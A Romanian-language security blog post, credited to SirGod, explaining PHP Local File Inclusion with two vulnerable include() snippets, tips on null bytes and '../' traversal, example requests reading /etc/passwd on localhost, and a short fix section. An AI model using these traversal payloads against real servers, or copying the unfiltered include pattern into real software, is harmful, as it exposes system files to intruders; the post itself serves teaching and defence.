Vulnerabilitati PHP –  Local File Inclusion - Securitatea Informatica

Vulnerabilitati PHP – Local File Inclusion

Sfaturi :

  • Puteţi folosi trucul cu NULLBYTE şi ?
  • ../ înseamnă un director înapoi
  • Pe serverele Windows puteţi folosi “..\” în loc de “../”. “..\” va devenii “..%5C” (urlencoded).
  • Aceleaşi funcţii care îţi permit să incluzi (include, include_once, require, require_once).

Exemplu de bază

Cod:

<?php
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>

Acum, nu putem să includem scriptul nostru maliţios pentru că nu putem include fişiere care nu sunt aflate pe server. Putem include doar fişiere locale. Dacă facem următoarea cerere:

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

scriptul va include “etc/passwd” cu succes. Puteţi folosii %00 şi ? . Aceeaşi poveste.

Exemplu simplu
Cod aflat în install/install.php

Cod:

<?php
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
//.............etc.............
include('step/'.$url)
?>

Putem observa că variabila “url” este injectabilă. Dacă variabila “url” nu este setată (este goală) scriptul va include “step_welcome.php”. Altfel va include fişierul cerut de atacator prin intermediul variabilei. Dacă facem următoarea cerere:

http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd fisierul “etc/passwd” va fi inclus cu succes.

Cum să fixezi

Simplu : Nu permite caractere speciale în variabile. Filtrează “.” .
Alta metoda : Filtreaza “/”, “\” si “.” .

Sursa: SirGod

Twitter Digg Delicious Stumbleupon Technorati Facebook


Nici un comentariu inca... Fii primul care lasa un comentariu!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro